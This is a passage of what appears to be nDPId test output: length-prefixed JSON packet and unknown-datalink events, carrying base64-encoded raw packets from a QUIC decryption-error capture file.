PfcCVEfM9oJmAbotgINLrk4Ygtgw97BcsHwWAMnoraywY0sTG75fZvB2iGJ6gFFLhLKF\/dJGvUFCgdFnXx8hjEbhB7kwUQfm8OK9R27NOP0dXEU65bTYwxhylcnBoaz8anawP+a6RUrLDN2c7H1yt7JSk2uldb+fgopn8kWH1Abfxv9i2NQnGzAuOCUQ+zYRmm7dXghWexhWz0+9FTWzaylSr3qKBzpZ4waSHdR4j8KO6n9NpLeoQmfe8NvejpIkP1e0ppHVzM\/hSKdIfxY0qfrr02ufZ9pLIbPcwq+VKoBstL2vl9yUrHq0F9f4zjVnF3iNdALh4O2q49DkDi3G68VNE2+JT40Ppi\/PusA5Ue4Uxwm7CLVJEz4elDGRojU9IeVr812rg44="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":303,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02054{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":304,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498297,"pkt_ts_usec":16000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RTgFAAADQABZEakwXmHhkgrmKKgBu\/L0BOxvrFLldl+ClnhIFQEBUskeqHwC0iSHcI0k3Jok4XfmWLCnC1Kh0Krog0UNb7Tqkk4YOOn2sL58\/IusBQy\/jfXBZ1vvFfK8KY1UKKtrUnX75BGkuUxF9FaDFX1hrF6vWJtdoopSBq08KYBwzGt8JOwMB\/SOXRaH0tJbbaTAHxlBXwGt9EKdPfLq9L6jgbDyFRDFZ\/F5HcD+K58Ox6kuatQx0JtymSSYugjobG4wVoO+598wq2\/BZ9fYxJa53Uudzf8g9ftB3w5xbR2zMFFrslr0mSJ26Yb9hrRI3CJ\/etb3f2c1q\/aUgSEjJg1UvNhl0cPcbcchYFe6I+hBlh4P99TLNDHcWiuWlNdbjOz\/b9R1yx23Ji0jaV2k11EQSJdUz4jV5O2p4B2WlVNBW916SoMBGojRzqZ7mmr+nPs4sRaCyt97x\/0EAe\/wL9LIR2wJVFt24PN5vnqi\/vRathLWPEYHs+yhlzVFRlFHOGhGN5+UcyDPw+nTF5stIn3JSEG2tliObl7DyWuN1McfJypFiFHZ8t16ERXHbLe0f\/iBW5r+6uaZ04jF5k1dwy898XRU2yGNzv9N1ckbDUzJD2HRyIJTBJPHkO3MfJJ1qM67U0onls+ty8WuwcYrn\/PkY3v28rq6Yl8ND9qwuN4M0FCyawu9ERt6zWOAzhZ6ukPejzWDBqD6a30srkgCNGE0MfJC\/kn3CfKszH4anSgHI\/xp4aFS1AFwcLAFqii2z0CYnU+kSKYY23E5tZYjp0Mcqi2H5\/TNqT3FM7vmW+QFjsSzmCnvZcuOJtS7cvjzmTiU523BTaZ66NUJsMb3YgCEzti4rH0\/M8NYYboEQP6U2A1RJ3C8MxfzdgpwP+Xyzx5qIZHQaTlqFmC+DUxW+NivNZ1cQvjyO1Vc6\/eNmmCgE0A+HoAkYUnuuMQEt8kHPLQ2xqPPkESTMkudmctT2705MJhjHlDp2SCTl3O5OryjB3P5sTk3gqNUwsk3OAKJ+5xis8ySctdZX6Vf3LXikGbwYzJpoy8UDGeEvFsOj6HfuDu8QdtqkK0ixpwgK22Z+AaSjE2mltImNvyzhBFPQwND1aPhjpr1nBH9c4hQix5knzuPVzsTnkiJwSFU\/uHPH++tRBAZrmAFPE+oizlZ\/BQEqeaZ4x9JVX+EblO5NpALZ6wc3P41iB\/L1TFiNhvKNBQArkvUJ1qAmE3G8GQbExR+v8QMIYWnAynBnaNoPXUUHByJ1lgHFFi59o89pfcKFeXxo\/NU6SwDDLNc4HT7vLClKiifPfcCVEfM9oJmAbotgINLrk4Ygtgw97BcsHwWAMnoraywY0sTG75fZvB2iGJ6gFFLhLKF\/dJGvUFCgdFnXx8hjEbhB7kwUQfm8OK9R27NOP0dXEU65bTYwxhylcnBoaz8anawP+a6RUrLDN2c7H1yt7JSk2uldb+fgopn8kWH1Abfxv9i2NQnGzAuOCUQ+zYRmm7dXghWexhWz0+9FTWzaylSr3qKBzpZ4waSHdR4j8KO6n9NpLeoQmfe8NvejpIkP1e0ppHVzM\/hSKdIfxY0qfrr02ufZ9pLIbPcwq+VKoBstL2vl9yUrHq0F9f4zjVnF3iNdALh4O2q49DkDi3G68VNE2+JT40Ppi\/PusA5Ue4Uxwm7CLVJEz4elDGRojU9IeVr812rg44="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":304,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02057{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":305,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498297,"pkt_ts_usec":16000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAEQABZEalnXmHhkgrmKKgBu\/L0BOzNfEOQuTtYjKK\/15mO1lDLMlCxzKJPh3qq7dBzG21dQLQ984hHw83jGPlqsrID7HdsViQd80wH6440gXu6pRZuGZjZ3PV4ROrRm4Z5byEmRwdMAi2v\/Icxocr+DiOstec9W30Nja5C4QyaXhLsjhRNpPsq6Uz1LVuJV+D9pD3v4+lWvK1gkA1JnoWGKAJa\/Z0FNNCSIrUw+bEybZNkjl4+dQpVaKcPRe38ED9J0vYzJdsYTAvVJSRXtv\/Ss10lD3MGA+JxCZfZMY2TdaXndn6isRAttIy4SP2O2Sdys2uDNczwei0+EiKbBi5DzXfbEoD7DUO8lfdreuHIy0n2M2e0wnfiHxYmnvX85kVHhDukj5P5dO6WBCxeAWt0a7nQnQSPGPLpaYoBK0gUl+yKdenU+Cf4EvE6rnAC8+ay0tdqSrOBoi2VENnNtIL571MRupE0Tt6p25aJh+fAkAIifFkqDFjY+pO+5LZ7F9ZEnkbpYfnjkHXO98oY7NGWkguloNGJ2O5GhcyTSFe1AKN42Pexc9iqLFgHzEfl1OqXuTwU9bPKAABwAqpdw8QFWGkojpAoVed\/hI2BlB6p3+VGmQo43MIoENBhw03Hb1gfv5\/6qg\/l7MdOY5rWPLuyR5EoHgBCs6KQ8Ec7xYvUJT9KcgKCE\/7CbM89I3FHkQkCX\/rE6aBr6WexC7jur22IW\/BRDK5jCNZlt8nXLRcWsBflIYvFJMxvjzfrGH71G7qsDyYNN4pWgi\/FNYOGC+lotqcI\/8+d+hN0G49qkhSMtyJXDx3XVL8FS7B6N2piAJjkXirGxQ8OEVkMYLgu9Vdi46fplDY3nSsKApec1TekonIBl\/Z9Txi7OVlMQTudqTu7FBLOsW3gfPuOK1YCvqtnDaGG4Q0A31cDDiSpU4JZwaIQc+2yaGc8+qgaNB6OeJfUFes\/XqgSImXVj3uwx64JWAuJiXJ5Luf62t\/tcaQghKF9xokgoJ9aJJQPLuia7bDP4jOtWrUjzT9bT0wUFXXooKgaNuTJ\/TmFxkoFMvSaJoosgo+cXEFB2KPWcVqwgTjB+un8h10uOyvvdnxPIn1uxOK9P\/Jbc2ozTOlCHTAznsYoG81noNx3JyrE9y5+1E44T2BuOsBBVTkZJlTv3Jm5wPBk9I57tBQ0zZhkhMsTLCRKyX48ljybZpWEx5sP3hca2liTfQHou5k5AIgMCwKB7rxF1v7KS0jBubnmMNqwUFHoZb\/n\/N6VxjQxz1GJY1wLvYRImqAQX+Qk1gIuvuyEt1XugspAaNqEcTirUlAvQ1sI6BX3qGfc0E6lIFK\/fzjamf5dIPUjqMGf7qWHEJw4poZIOyR9J35Ta\/dJzxP8uykpVqMnfB\/GgOcZ\/yy8xy1rwJxgUgSXOSsN1nHSiZR1LVuT2\/+V7bA9odYzyGYJBsIpSAK29nkaw2393xzeRw9tWL0fDBhfe8BwY6XmMZVTt8yVa55vU4k+VNkdteaF+awdPaeBfHaOfE5aRd2rxUheohCLeCd2i869cMjTjwwMuPh6o9AaXPM7+UMIxJGE9Ff\/E7PmY9IqN+\/D18+XWc5iL4QQU6mS++XAW6yCevhi6961zlwgmxGf2Qncswpo6O\/WJiB131C0vLPnx\/0c8gQVwkrlYl4bbpN75xzpXwdam3GR4Nni719Hejk="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":305,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02057{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":306,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498297,"pkt_ts_usec":16000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAEQABZEalnXmHhkgrmKKgBu\/L0BOzNfEOQuTtYjKK\/15mO1lDLMlCxzKJPh3qq7dBzG21dQLQ984hHw83jGPlqsrID7HdsViQd80wH6440gXu6pRZuGZjZ3PV4ROrRm4Z5byEmRwdMAi2v\/Icxocr+DiOstec9W30Nja5C4QyaXhLsjhRNpPsq6Uz1LVuJV+D9pD3v4+lWvK1gkA1JnoWGKAJa\/Z0FNNCSIrUw+bEybZNkjl4+dQpVaKcPRe38ED9J0vYzJdsYTAvVJSRXtv\/Ss10lD3MGA+JxCZfZMY2TdaXndn6isRAttIy4SP2O2Sdys2uDNczwei0+EiKbBi5DzXfbEoD7DUO8lfdreuHIy0n2M2e0wnfiHxYmnvX85kVHhDukj5P5dO6WBCxeAWt0a7nQnQSPGPLpaYoBK0gUl+yKdenU+Cf4EvE6rnAC8+ay0tdqSrOBoi2VENnNtIL571MRupE0Tt6p25aJh+fAkAIifFkqDFjY+pO+5LZ7F9ZEnkbpYfnjkHXO98oY7NGWkguloNGJ2O5GhcyTSFe1AKN42Pexc9iqLFgHzEfl1OqXuTwU9bPKAABwAqpdw8QFWGkojpAoVed\/hI2BlB6p3+VGmQo43MIoENBhw03Hb1gfv5\/6qg\/l7MdOY5rWPLuyR5EoHgBCs6KQ8Ec7xYvUJT9KcgKCE\/7CbM89I3FHkQkCX\/rE6aBr6WexC7jur22IW\/BRDK5jCNZlt8nXLRcWsBflIYvFJMxvjzfrGH71G7qsDyYNN4pWgi\/FNYOGC+lotqcI\/8+d+hN0G49qkhSMtyJXDx3XVL8FS7B6N2piAJjkXirGxQ8OEVkMYLgu9Vdi46fplDY3nSsKApec1TekonIBl\/Z9Txi7OVlMQTudqTu7FBLOsW3gfPuOK1YCvqtnDaGG4Q0A31cDDiSpU4JZwaIQc+2yaGc8+qgaNB6OeJfUFes\/XqgSImXVj3uwx64JWAuJiXJ5Luf62t\/tcaQghKF9xokgoJ9aJJQPLuia7bDP4jOtWrUjzT9bT0wUFXXooKgaNuTJ\/TmFxkoFMvSaJoosgo+cXEFB2KPWcVqwgTjB+un8h10uOyvvdnxPIn1uxOK9P\/Jbc2ozTOlCHTAznsYoG81noNx3JyrE9y5+1E44T2BuOsBBVTkZJlTv3Jm5wPBk9I57tBQ0zZhkhMsTLCRKyX48ljybZpWEx5sP3hca2liTfQHou5k5AIgMCwKB7rxF1v7KS0jBubnmMNqwUFHoZb\/n\/N6VxjQxz1GJY1wLvYRImqAQX+Qk1gIuvuyEt1XugspAaNqEcTirUlAvQ1sI6BX3qGfc0E6lIFK\/fzjamf5dIPUjqMGf7qWHEJw4poZIOyR9J35Ta\/dJzxP8uykpVqMnfB\/GgOcZ\/yy8xy1rwJxgUgSXOSsN1nHSiZR1LVuT2\/+V7bA9odYzyGYJBsIpSAK29nkaw2393xzeRw9tWL0fDBhfe8BwY6XmMZVTt8yVa55vU4k+VNkdteaF+awdPaeBfHaOfE5aRd2rxUheohCLeCd2i869cMjTjwwMuPh6o9AaXPM7+UMIxJGE9Ff\/E7PmY9IqN+\/D18+XWc5iL4QQU6mS++XAW6yCevhi6961zlwgmxGf2Qncswpo6O\/WJiB131C0vLPnx\/0c8gQVwkrlYl4bbpN75xzpXwdam3GR4Nni719Hejk="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":306,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02057{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":307,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498297,"pkt_ts_usec":16000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RTgFAAAEQABZEakvXmHhkgrmKKgBu\/L0BOzNfEOQuTtYjKK\/15mO1lDLMlCxzKJPh3qq7dBzG21dQLQ984hHw83jGPlqsrID7HdsViQd80wH6440gXu6pRZuGZjZ3PV4ROrRm4Z5byEmRwdMAi2v\/Icxocr+DiOstec9W30Nja5C4QyaXhLsjhRNpPsq6Uz1LVuJV+D9pD3v4+lWvK1gkA1JnoWGKAJa\/Z0FNNCSIrUw+bEybZNkjl4+dQpVaKcPRe38ED9J0vYzJdsYTAvVJSRXtv\/Ss10lD3MGA+JxCZfZMY2TdaXndn6isRAttIy4SP2O2Sdys2uDNczwei0+EiKbBi5DzXfbEoD7DUO8lfdreuHIy0n2M2e0wnfiHxYmnvX85kVHhDukj5P5dO6WBCxeAWt0a7nQnQSPGPLpaYoBK0gUl+yKdenU+Cf4EvE6rnAC8+ay0tdqSrOBoi2VENnNtIL571MRupE0Tt6p25aJh+fAkAIifFkqDFjY+pO+5LZ7F9ZEnkbpYfnjkHXO98oY7NGWkguloNGJ2O5GhcyTSFe1AKN42Pexc9iqLFgHzEfl1OqXuTwU9bPKAABwAqpdw8QFWGkojpAoVed\/hI2BlB6p3+VGmQo43MIoENBhw03Hb1gfv5\/6qg\/l7MdOY5rWPLuyR5EoHgBCs6KQ8Ec7xYvUJT9KcgKCE\/7CbM89I3FHkQkCX\/rE6aBr6WexC7jur22IW\/BRDK5jCNZlt8nXLRcWsBflIYvFJMxvjzfrGH71G7qsDyYNN4pWgi\/FNYOGC+lotqcI\/8+d+hN0G49qkhSMtyJXDx3XVL8FS7B6N2piAJjkXirGxQ8OEVkMYLgu9Vdi46fplDY3nSsKApec1TekonIBl\/Z9Txi7OVlMQTudqTu7FBLOsW3gfPuOK1YCvqtnDaGG4Q0A31cDDiSpU4JZwaIQc+2yaGc8+qgaNB6OeJfUFes\/XqgSImXVj3uwx64JWAuJiXJ5Luf62t\/tcaQghKF9xokgoJ9aJJQPLuia7bDP4jOtWrUjzT9bT0wUFXXooKgaNuTJ\/TmFxkoFMvSaJoosgo+cXEFB2KPWcVqwgTjB+un8h10uOyvvdnxPIn1uxOK9P\/Jbc2ozTOlCHTAznsYoG81noNx3JyrE9y5+1E44T2BuOsBBVTkZJlTv3Jm5wPBk9I57tBQ0zZhkhMsTLCRKyX48ljybZpWEx5sP3hca2liTfQHou5k5AIgMCwKB7rxF1v7KS0jBubnmMNqwUFHoZb\/n\/N6VxjQxz1GJY1wLvYRImqAQX+Qk1gIuvuyEt1XugspAaNqEcTirUlAvQ1sI6BX3qGfc0E6lIFK\/fzjamf5dIPUjqMGf7qWHEJw4poZIOyR9J35Ta\/dJzxP8uykpVqMnfB\/GgOcZ\/yy8xy1rwJxgUgSXOSsN1nHSiZR1LVuT2\/+V7bA9odYzyGYJBsIpSAK29nkaw2393xzeRw9tWL0fDBhfe8BwY6XmMZVTt8yVa55vU4k+VNkdteaF+awdPaeBfHaOfE5aRd2rxUheohCLeCd2i869cMjTjwwMuPh6o9AaXPM7+UMIxJGE9Ff\/E7PmY9IqN+\/D18+XWc5iL4QQU6mS++XAW6yCevhi6961zlwgmxGf2Qncswpo6O\/WJiB131C0vLPnx\/0c8gQVwkrlYl4bbpN75xzpXwdam3GR4Nni719Hejk="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":307,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02056{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":308,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498297,"pkt_ts_usec":16000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAFQABZEalmXmHhkgrmKKgBu\/L0BOyBoUL4AAmB+fyyHivKxu5vMhJvFd5GqTirFADszWQ5x8+0lPHKSd7vy2UfiEIxHiJH1bVhbObjkCGhIjFpQGR6yV9oBM1XqaUM5qiIvMI46ZYYAvYRzbW2U0elI\/PcHAU7FfsJn6NYggtrRzsyHPWQR1NFtlUdDwpAAKzz9X2Q2L8kOSZ7jFB4O7tEQyhWbYdoY60Faio885dqn2c\/MhrbeA8Xn+UuyJQt51VHl7K+HL9LV6tT6kiRDYd7Hnli1ziE3\/mCZNTPzqoFi17VWOy2e3KCmQgj63d03V9OHWAe6508KvtPGDCs9pRvsC0xKil1jwKv5Ei02FuOwKolUXXY7H9ZDUBNx+7J3S\/T0WeWYZQBKunVtIWGbtPDf8rjvPdkTisaNrUJMemtX+rcnnBFEKHRbMr83enePUdXfS528tuMA7GUABuOOqQqu6GugcPJZm4zciVMbG+7MitPvUgIYsJHwfnRQLDL8maMYyFwX3cVw0IR8fKE6GjTwJQn78X3mLo64pj\/qPFORtuUi0jO8EL1AOUZVluDyy7n2rpbYAHJeSNUYu5E0Btocqq\/gVyqQwCEIb+q64J3VbAbl\/hivNFb+9blnnmbxrFNCrYdfpRb4yYyVs7iNS3OKO46v51tPn\/PiRhbjCE0B095f6Ft7e93JTP6ti6IadRmtjYvEAKgsgmzVmiKIaatkz9+VeMXMVlbrUxWbl7nKnWN0Pmerfw7JiVvzPj9luABWnsLKxcGODdG5xwiMFKmewoitQs0EvnsO01Jcl7A5huFUagEF9fBwZui3eR\/wMHN3fA6LFsf6fi1XlnXwV\/DkdG31GxPK1SsmSYBl363X37MQvwZpgZvAkJ\/Ik4dNrRNmvff2\/vv4KiwTSi2gUxSzSm8tntLcecaMWlPYdKhkkV2Fx5iTClmYwKQWWTHVMufspWichYtTP5P1CkdbR4ltfyd1Proeeou072Wn6\/b57Azsq4CGPSD\/BYPBXaQ2T6EIRkRrRBGHsbY9vehy3IVTbDePHAMuwYrinubZNKrMPJTypwVRGmucGKibnr+Vbh\/S9NadvpHbasfuByRBedSgpBSgI5Ccyp7HyylKKEghaKUIMpct7gDWzSQuk2Ak2pCYbTKcReyIzDYZJYADNAe5KFfaCFRaYlfAlcSLRe1xLr9qqPEeT71b\/oTfd6MCRs3MCfvs72DD50FslicRqRWxwVmILyZTAobUm4Hrc4Ikv60JGAxv8FpqRcPypl6qbkUwvuYeungTGY8mxqX0\/lXr\/lTwek36WPeWYeojOFh80AS5lzJPrCOdmufeWIs64qOmIsMH3oYjd3HcsrBnHmxXa3IPwGnRoVLZWjPJAwNV2AoGMilfRUGTAc\/jzIjDAIv0aw266InT+YtCQYoKHmJLubXDcBFiOgDg+wLmSf7uT17qW2P8eBEtBkuYxCT+U0nzQ06C+WuqeaHt9nhuMmlnBWU4VYrW\/fVZPyvbeSGx7\/ptHIdddnn9XUQ\/aygQDYCmbrf6h\/qX6dVgcvTIc53yXnRKqXkkXF+QdnbU5X\/M+rubvxZXU\/JOu9a6ffuknUZDqapMJA6DJ+AVKnHp1nNS6oPYS6wli\/y8jVFqYHCJAWOqWQVq8H05vjhk6v42vXrERD8Ou7ZVfYcvwWN64v1o\/8O3cbbGG+Nk10="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":308,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02056{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":309,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498297,"pkt_ts_usec":16000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAFQABZEalmXmHhkgrmKKgBu\/L0BOyBoUL4AAmB+fyyHivKxu5vMhJvFd5GqTirFADszWQ5x8+0lPHKSd7vy2UfiEIxHiJH1bVhbObjkCGhIjFpQGR6yV9oBM1XqaUM5qiIvMI46ZYYAvYRzbW2U0elI\/PcHAU7FfsJn6NYggtrRzsyHPWQR1NFtlUdDwpAAKzz9X2Q2L8kOSZ7jFB4O7tEQyhWbYdoY60Faio885dqn2c\/MhrbeA8Xn+UuyJQt51VHl7K+HL9LV6tT6kiRDYd7Hnli1ziE3\/mCZNTPzqoFi17VWOy2e3KCmQgj63d03V9OHWAe6508KvtPGDCs9pRvsC0xKil1jwKv5Ei02FuOwKolUXXY7H9ZDUBNx+7J3S\/T0WeWYZQBKunVtIWGbtPDf8rjvPdkTisaNrUJMemtX+rcnnBFEKHRbMr83enePUdXfS528tuMA7GUABuOOqQqu6GugcPJZm4zciVMbG+7MitPvUgIYsJHwfnRQLDL8maMYyFwX3cVw0IR8fKE6GjTwJQn78X3mLo64pj\/qPFORtuUi0jO8EL1AOUZVluDyy7n2rpbYAHJeSNUYu5E0Btocqq\/gVyqQwCEIb+q64J3VbAbl\/hivNFb+9blnnmbxrFNCrYdfpRb4yYyVs7iNS3OKO46v51tPn\/PiRhbjCE0B095f6Ft7e93JTP6ti6IadRmtjYvEAKgsgmzVmiKIaatkz9+VeMXMVlbrUxWbl7nKnWN0Pmerfw7JiVvzPj9luABWnsLKxcGODdG5xwiMFKmewoitQs0EvnsO01Jcl7A5huFUagEF9fBwZui3eR\/wMHN3fA6LFsf6fi1XlnXwV\/DkdG31GxPK1SsmSYBl363X37MQvwZpgZvAkJ\/Ik4dNrRNmvff2\/vv4KiwTSi2gUxSzSm8tntLcecaMWlPYdKhkkV2Fx5iTClmYwKQWWTHVMufspWichYtTP5P1CkdbR4ltfyd1Proeeou072Wn6\/b57Azsq4CGPSD\/BYPBXaQ2T6EIRkRrRBGHsbY9vehy3IVTbDePHAMuwYrinubZNKrMPJTypwVRGmucGKibnr+Vbh\/S9NadvpHbasfuByRBedSgpBSgI5Ccyp7HyylKKEghaKUIMpct7gDWzSQuk2Ak2pCYbTKcReyIzDYZJYADNAe5KFfaCFRaYlfAlcSLRe1xLr9qqPEeT71b\/oTfd6MCRs3MCfvs72DD50FslicRqRWxwVmILyZTAobUm4Hrc4Ikv60JGAxv8FpqRcPypl6qbkUwvuYeungTGY8mxqX0\/lXr\/lTwek36WPeWYeojOFh80AS5lzJPrCOdmufeWIs64qOmIsMH3oYjd3HcsrBnHmxXa3IPwGnRoVLZWjPJAwNV2AoGMilfRUGTAc\/jzIjDAIv0aw266InT+YtCQYoKHmJLubXDcBFiOgDg+wLmSf7uT17qW2P8eBEtBkuYxCT+U0nzQ06C+WuqeaHt9nhuMmlnBWU4VYrW\/fVZPyvbeSGx7\/ptHIdddnn9XUQ\/aygQDYCmbrf6h\/qX6dVgcvTIc53yXnRKqXkkXF+QdnbU5X\/M+rubvxZXU\/JOu9a6ffuknUZDqapMJA6DJ+AVKnHp1nNS6oPYS6wli\/y8jVFqYHCJAWOqWQVq8H05vjhk6v42vXrERD8Ou7ZVfYcvwWN64v1o\/8O3cbbGG+Nk10="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":309,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02056{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":310,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498297,"pkt_ts_usec":16000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RTgFAAAFQABZEakuXmHhkgrmKKgBu\/L0BOyBoUL4AAmB+fyyHivKxu5vMhJvFd5GqTirFADszWQ5x8+0lPHKSd7vy2UfiEIxHiJH1bVhbObjkCGhIjFpQGR6yV9oBM1XqaUM5qiIvMI46ZYYAvYRzbW2U0elI\/PcHAU7FfsJn6NYggtrRzsyHPWQR1NFtlUdDwpAAKzz9X2Q2L8kOSZ7jFB4O7tEQyhWbYdoY60Faio885dqn2c\/MhrbeA8Xn+UuyJQt51VHl7K+HL9LV6tT6kiRDYd7Hnli1ziE3\/mCZNTPzqoFi17VWOy2e3KCmQgj63d03V9OHWAe6508KvtPGDCs9pRvsC0xKil1jwKv5Ei02FuOwKolUXXY7H9ZDUBNx+7J3S\/T0WeWYZQBKunVtIWGbtPDf8rjvPdkTisaNrUJMemtX+rcnnBFEKHRbMr83enePUdXfS528tuMA7GUABuOOqQqu6GugcPJZm4zciVMbG+7MitPvUgIYsJHwfnRQLDL8maMYyFwX3cVw0IR8fKE6GjTwJQn78X3mLo64pj\/qPFORtuUi0jO8EL1AOUZVluDyy7n2rpbYAHJeSNUYu5E0Btocqq\/gVyqQwCEIb+q64J3VbAbl\/hivNFb+9blnnmbxrFNCrYdfpRb4yYyVs7iNS3OKO46v51tPn\/PiRhbjCE0B095f6Ft7e93JTP6ti6IadRmtjYvEAKgsgmzVmiKIaatkz9+VeMXMVlbrUxWbl7nKnWN0Pmerfw7JiVvzPj9luABWnsLKxcGODdG5xwiMFKmewoitQs0EvnsO01Jcl7A5huFUagEF9fBwZui3eR\/wMHN3fA6LFsf6fi1XlnXwV\/DkdG31GxPK1SsmSYBl363X37MQvwZpgZvAkJ\/Ik4dNrRNmvff2\/vv4KiwTSi2gUxSzSm8tntLcecaMWlPYdKhkkV2Fx5iTClmYwKQWWTHVMufspWichYtTP5P1CkdbR4ltfyd1Proeeou072Wn6\/b57Azsq4CGPSD\/BYPBXaQ2T6EIRkRrRBGHsbY9vehy3IVTbDePHAMuwYrinubZNKrMPJTypwVRGmucGKibnr+Vbh\/S9NadvpHbasfuByRBedSgpBSgI5Ccyp7HyylKKEghaKUIMpct7gDWzSQuk2Ak2pCYbTKcReyIzDYZJYADNAe5KFfaCFRaYlfAlcSLRe1xLr9qqPEeT71b\/oTfd6MCRs3MCfvs72DD50FslicRqRWxwVmILyZTAobUm4Hrc4Ikv60JGAxv8FpqRcPypl6qbkUwvuYeungTGY8mxqX0\/lXr\/lTwek36WPeWYeojOFh80AS5lzJPrCOdmufeWIs64qOmIsMH3oYjd3HcsrBnHmxXa3IPwGnRoVLZWjPJAwNV2AoGMilfRUGTAc\/jzIjDAIv0aw266InT+YtCQYoKHmJLubXDcBFiOgDg+wLmSf7uT17qW2P8eBEtBkuYxCT+U0nzQ06C+WuqeaHt9nhuMmlnBWU4VYrW\/fVZPyvbeSGx7\/ptHIdddnn9XUQ\/aygQDYCmbrf6h\/qX6dVgcvTIc53yXnRKqXkkXF+QdnbU5X\/M+rubvxZXU\/JOu9a6ffuknUZDqapMJA6DJ+AVKnHp1nNS6oPYS6wli\/y8jVFqYHCJAWOqWQVq8H05vjhk6v42vXrERD8Ou7ZVfYcvwWN64v1o\/8O3cbbGG+Nk10="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":310,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02053{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":311,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498297,"pkt_ts_usec":17000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAGQABZEallXmHhkgrmKKgBu\/L0BOyOMFFhXGEFlPIa7m1nUPmntUxv2qDpN+XgN6nlIS4t4t9b39Hf\/AJ9e+\/YLb4YbiQCCd9AiqZfthHQ9W4mm9Nq5pGNITuhaZnTL3Z8XIhNj9Z\/3vTl+YZJm1PQekOrC2ENoI\/wzyMTj5ULjvfa1wrOsytT6XFqng+ds72\/we0iG5RLS+QHMeaTPA2JUixBLHZ1cDe7M\/VAzhNOFBXLhkz77JF7C4q2uwlRet\/aOBym7QH32ag\/YqkrYJNLxqKQPBtTx20dESmV7O6C3ZRKeJXjVAssB612QkcSmIgz2cNeU6+k6ppJrMUs9v4ZQ0JH89CscSgopGd1GHQk1Xqfk2phYE+i0Q0OdN3RyIpH8WgCpmX+iJUY7vFAr21\/UFhJCJshxtZ1IFzL6oUyDc2tcd4f+EIdRQrZi02nnsgu5hPtgGor9LysYYKMXGSb+sailEBQ0ZCqRiI+9lUC3pXXM6CwQFWa8XtAjxpKiSjXsXYy0QAts3v+BE9AhGg2FR89yCpMMwsRb3UdtWVcQ6Qp8o0J35i24\/N14hfFFuodT9xqjUFPjouFhUaKP2vQjWT+3Zv5VYkgxPbMRDRG+bUuuBi+VgV0pWBSzXsdYmOsQb7QM1ACZgPKnKokzra\/PgDJQP9g+Xtw2Qan58GihhJLEizaX6bfN+jTwCBiavXfzT\/JtV0BrqhUqtJb0dPsnAi87tUkRQv+rmVTDTItImc1o\/XwyaWIz6wWezMCKVaWAcZHgzlwOcqbLnd5ifk1v7PeEtTsYj7QLAD9E5swLbipFQf2sYgRMgbHcL2g2QFQYLop5nrC5\/w3BzCLyN4p+QLKSi8YfIA5xaTuC